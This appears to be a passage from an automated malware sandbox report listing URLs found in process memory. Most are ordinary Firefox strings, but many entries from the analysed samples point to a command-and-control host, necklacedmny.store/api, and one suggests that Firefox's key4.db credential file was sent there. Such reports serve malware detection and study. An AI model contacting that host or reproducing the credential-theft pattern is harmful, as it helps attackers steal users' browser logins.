Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtabThe
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B10E3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2505295242.0000029419BC7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tabSends
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2557668290.000002B9B2F74000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2551103214.000002B9B1C53000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtab
Source: firefox.exe, 00000019.00000002.2551103214.000002B9B1C53000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_moreget
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_morehome-prefs-highlights-options-bookmarks
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B10E3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2505295242.0000029419BC7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendations
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendationsThe
Source: firefox.exe, 00000019.00000002.2553819219.000002B9B1F03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B585F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2489462434.000002B9BD088000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/cfworker
Source: firefox.exe, 00000019.00000003.2419930987.000002B9BCA23000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2426662639.000002B9BCA23000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/google/closure-compiler/issues/3177
Source: firefox.exe, 00000019.00000003.2426662639.000002B9BCA23000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/issues/1266
Source: firefox.exe, 00000019.00000003.2426662639.000002B9BCA23000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/microsoft/TypeScript/issues/338).
Source: firefox.exe, 00000019.00000003.2354817102.000002B9B4B3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2353978137.000002B9B4900000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2354383333.000002B9B4B1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2355155335.000002B9B4B5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2355537679.000002B9B4B77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2556162239.000002B9B2630000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshotsshims/google-analytics-ecommerce-plugin.jsexperiment-
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla/webcompat-reporter
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/blob/master/css-grid-2/MASONRY-EXPLAINER.md
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/issues/4650
Source: firefox.exe, 00000019.00000002.2557668290.000002B9B2F74000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2551103214.000002B9B1C53000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com
Source: firefox.exe, 00000019.00000002.2561919945.000002B9B48C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com/
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gpuweb.github.io/gpuweb/get
Source: firefox.exe, 00000019.00000002.2525401575.000002B9A4E11000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B1003000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://img-getpocket.cdn.mozilla.net/
Source: 7f3598dc65.exe, 00000010.00000003.2452134408.000000000067E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIF
Source: firefox.exe, 00000019.00000002.2531448134.000002B9B06AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2505185278.00000274E3BCB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2505295242.0000029419BEB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: firefox.exe, 00000019.00000002.2532776843.000002B9B07EE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2530190605.000002B9B04B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2504794254.00000274E3A70000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2518266022.000002941A060000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2557668290.000002B9B2F74000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2551103214.000002B9B1C53000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2505295242.0000029419BEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submitEnable
Source: firefox.exe, 00000019.00000003.2426662639.000002B9BCA23000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://infra.spec.whatwg.org/#ascii-whitespace
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B585F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B585F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schemaInstance
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B585F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2020-12/schema
Source: firefox.exe, 00000019.00000003.2426662639.000002B9BCA23000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/libraries/standalone-templates/#rendering-lit-html-templates
Source: firefox.exe, 00000019.00000003.2426662639.000002B9BCA23000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/templates/directives/#stylemap
Source: firefox.exe, 00000019.00000003.2426662639.000002B9BCA23000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/templates/expressions/#child-expressions)
Source: firefox.exe, 00000019.00000002.2535037186.000002B9B0FBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com
Source: firefox.exe, 00000019.00000002.2551103214.000002B9B1C53000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/
Source: firefox.exe, 00000019.00000002.2572185717.000002B9B4F8D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2572185717.000002B9B4F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2578272451.000002B9B5978000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=7e40f68c-7938-4c5d-9f95-e61647c213eb
Source: firefox.exe, 00000019.00000002.2586056526.000002B9B61B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.li
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2523144040.0000014391D4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2591081287.000002B9B6F3F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.live.comresource://activity-stream/lib/SystemTickFeed.jsmresource://gre/modules/compon
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2591081287.000002B9B6F3F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.comEmpty
Source: firefox.exe, 00000019.00000002.2553819219.000002B9B1F20000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2553503334.000002B9B1E49000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2557668290.000002B9B2FB4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2551103214.000002B9B1CCC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%s
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%shttps://mail.google.com/mail/?extsrc=mailto&url=%s
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2553503334.000002B9B1E49000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2534045766.000002B9B0C7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2557668290.000002B9B2FB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%s
Source: firefox.exe, 00000019.00000002.2557668290.000002B9B2FB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%sv
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2553503334.000002B9B1E49000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2534045766.000002B9B0C7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2557668290.000002B9B2FB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%s
Source: firefox.exe, 00000019.00000002.2557668290.000002B9B2FB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%st
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2525401575.000002B9A4ED8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2505185278.00000274E3B72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2505295242.0000029419B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggestresource://gre/modules/translation/LanguageDetecto
Source: firefox.exe, 00000019.00000002.2561919945.000002B9B4827000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B1003000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com
Source: 7f3598dc65.exe, 00000010.00000003.2495307583.000000000069C000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2493620565.0000000000699000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2490203144.0000000000694000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2491078746.0000000000697000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store
Source: file.exe, 00000000.00000003.1985450021.00000000058B2000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1754929520.00000000058AE000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1773633914.00000000058B2000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1757146069.00000000058B2000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 7f3598dc65.exe, 00000008.00000003.2294229294.00000000013B7000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2293795691.00000000013B2000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2453906640.00000000013B6000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2251085264.000000000589A000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2222951184.0000000001393000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2256544600.00000000013A8000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2308473206.000000000582B000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2258560113.00000000013A9000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2272064473.00000000013AA000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2271766130.00000000013AA000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2275987297.00000000013B5000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2258506161.000000000589F000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2275599055.00000000013B0000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2255255449.000000000589B000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2295949392.00000000013B5000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2271509895.000000000582B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/
Source: 7f3598dc65.exe, 00000010.00000003.2409524653.0000000000681000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2422151331.0000000000681000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2426207049.0000000000682000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2452134408.0000000000682000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2430672698.0000000000682000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/&#
Source: file.exe, 00000000.00000003.1729402744.00000000058BC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1729505699.00000000058BD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/(
Source: 7f3598dc65.exe, 00000010.00000003.2389013409.000000000067E000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2389420379.0000000000682000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/.#
Source: 7f3598dc65.exe, 00000010.00000003.2493620565.0000000000699000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2490203144.0000000000694000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2491078746.0000000000697000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/6#
Source: 7f3598dc65.exe, 00000008.00000003.2222951184.0000000001393000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/9K
Source: 7f3598dc65.exe, 00000008.00000003.2294229294.00000000013B7000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2293795691.00000000013B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/Mozi.
Source: 7f3598dc65.exe, 00000010.00000003.2409524653.0000000000681000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2422151331.0000000000681000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2426207049.0000000000682000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2430672698.0000000000682000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/N
Source: 7f3598dc65.exe, 00000008.00000003.2454189702.0000000001380000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/Nf
Source: 7f3598dc65.exe, 00000010.00000003.2389013409.000000000067E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/P
Source: 7f3598dc65.exe, 00000010.00000003.2409524653.0000000000681000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2422151331.0000000000681000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2389013409.000000000067E000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2426207049.0000000000682000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2389420379.0000000000682000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2430672698.0000000000682000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/V
Source: 7f3598dc65.exe, 00000008.00000003.2251085264.000000000589A000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2258506161.000000000589F000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2255255449.000000000589B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/X
Source: file.exe, 00000000.00000003.1729644902.00000000010E8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1758025649.00000000010F2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1773933137.00000000010F0000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 7f3598dc65.exe, 00000008.00000003.2294229294.00000000013B7000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2293795691.00000000013B2000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2453906640.00000000013B6000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2256544600.00000000013A8000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2258560113.00000000013A9000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2272064473.00000000013AA000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2271766130.00000000013AA000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2256912542.00000000013A8000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2309130576.00000000013B2000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2547505476.00000000005F5000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2409524653.0000000000681000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2389148546.00000000052A0000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2475531499.000000000069C000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2549679053.000000000069C000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2426207049.00000000005F5000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2422151331.0000000000681000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2495307583.000000000069C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/api
Source: 7f3598dc65.exe, 00000010.00000003.2491508382.00000000005F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apiB
Source: 7f3598dc65.exe, 00000008.00000003.2309130576.00000000013B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apiL
Source: 7f3598dc65.exe, 00000010.00000003.2389148546.00000000052A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apiR
Source: 7f3598dc65.exe, 00000008.00000003.2294229294.00000000013B7000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2293795691.00000000013B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apiS
Source: 7f3598dc65.exe, 00000010.00000003.2549679053.000000000069C000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2548765066.0000000000699000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2527497355.0000000000694000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2547235113.0000000000697000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2546547220.0000000000694000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2529916859.0000000000694000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apia
Source: 7f3598dc65.exe, 00000010.00000003.2409524653.0000000000681000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2389013409.000000000067E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apic
Source: 7f3598dc65.exe, 00000010.00000003.2389148546.00000000052A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apii
Source: 7f3598dc65.exe, 00000010.00000003.2547505476.0000000000609000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2426207049.0000000000609000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2453756158.0000000000609000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2471991799.000000000060B000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2409524653.0000000000609000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2493833080.000000000060B000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2389541459.0000000000609000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2491508382.0000000000609000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2548960148.000000000060B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/b
Source: 7f3598dc65.exe, 00000010.00000003.2409524653.0000000000681000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2422151331.0000000000681000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2426207049.0000000000682000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2430672698.0000000000682000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/bhdf
Source: 7f3598dc65.exe, 00000008.00000003.2251085264.000000000589A000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2258506161.000000000589F000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2255255449.000000000589B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/h
Source: 7f3598dc65.exe, 00000008.00000003.2294229294.00000000013B7000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2293795691.00000000013B2000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2453906640.00000000013B6000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2256544600.00000000013A8000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2258560113.00000000013A9000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2272064473.00000000013AA000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2271766130.00000000013AA000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2275987297.00000000013B5000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2275599055.00000000013B0000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2295949392.00000000013B5000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2256912542.00000000013A8000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2309130576.00000000013B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/z
Source: file.exe, 00000000.00000003.2011455939.000000000104F000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2547505476.00000000005F5000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2426207049.00000000005F5000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2453756158.00000000005F5000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2409524653.00000000005F5000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2389541459.00000000005F5000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2491508382.00000000005F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store:443/api
Source: 7f3598dc65.exe, 00000010.00000003.2547505476.00000000005F5000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2491508382.00000000005F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store:443/api.default-release/key4.dbPK
Source: 7f3598dc65.exe, 00000010.00000003.2547505476.00000000005F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store:443/apiK
Source: 7f3598dc65.exe, 00000010.00000003.2547505476.00000000005F5000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2426207049.00000000005F5000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2453756158.00000000005F5000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2409524653.00000000005F5000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2389541459.00000000005F5000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2491508382.00000000005F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store:443/apih
